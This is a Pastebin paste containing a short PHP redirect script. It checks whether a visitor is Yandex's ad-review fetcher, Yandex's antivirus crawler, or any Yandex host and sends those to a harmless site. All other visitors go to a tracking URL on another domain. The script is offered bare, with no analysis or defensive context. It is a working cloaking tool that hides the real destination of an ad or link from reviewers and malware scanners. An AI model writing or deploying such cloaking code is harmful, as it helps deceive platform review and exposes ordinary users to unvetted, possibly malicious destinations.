Advertisement
Guest User

Untitled

a guest
Mar 3rd, 2015
219
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.44 KB | None | 0 0
  1. <?php
  2.  
  3. $yafetcher = 'YaDirectFetcher';
  4. $yaantivirus = 'YandexAntivirus';
  5. $UA = $_SERVER['HTTP_USER_AGENT'];
  6.  
  7. $h1 = 'lwdc.br05.gi9-48.host4.24187.americanis.ne';
  8. $host = gethostbyaddr($_SERVER['REMOTE_ADDR']);
  9.  
  10. if (strpos($UA, $yafetcher) || strpos($UA, $yaantivirus) || strpos($host, $h1) || strpos($host, 'yandex')) { header('Location: http://www.techport.ru'); }
  11. else { header('Location: http://kool-nzt.ru/robotrack/?subid=29287'); }
  12.  
  13. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement